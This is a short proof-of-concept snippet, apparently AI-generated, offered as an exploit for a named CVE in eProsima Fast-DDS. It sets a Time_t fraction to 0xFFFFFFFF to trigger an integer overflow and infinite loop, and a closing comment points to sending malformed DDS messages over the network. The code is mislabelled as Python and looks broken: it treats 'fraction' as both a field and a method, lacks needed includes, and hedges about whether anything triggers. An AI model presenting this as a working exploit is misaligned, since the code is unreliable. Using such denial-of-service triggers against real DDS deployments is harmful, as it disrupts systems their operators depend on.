The following code is for security research and authorized testing only.
python
// PoC for CVE-2025-63829: eProsima Fast-DDS Time_t::fraction() Integer Overflow
// This PoC demonstrates triggering the infinite loop via crafted Time_t data
#include <fastrtps/rtps/rtps_fwd.h>
#include <fastrtps/utils/Time_t.h>
using namespace eprosima::fastrtps;
int main() {
// Create a Time_t object with potentially malicious fraction value
Time_t malicious_time;
// Set seconds to a value that may cause overflow when combined with fraction
malicious_time.seconds = 0;
// Attempt to set fraction to a value that could trigger integer overflow
// The exact trigger value depends on the implementation details
// This is a simplified demonstration
malicious_time.fraction = 0xFFFFFFFF; // Max uint32_t value
// Call the vulnerable fraction() function
// This may cause integer overflow and infinite loop
try {
uint32_t result = malicious_time.fraction();
// If we reach here without hanging, the overflow wasn't triggered
std::cout << "Result: " << result << std::endl;
} catch (...) {
std::cout << "Exception caught - possible overflow" << std::endl;
}
return 0;
}
// Alternative: Network-based trigger via malformed DDS message
// In a real attack scenario, send a DDS message with Time_t field
// containing values that will trigger the overflow when processed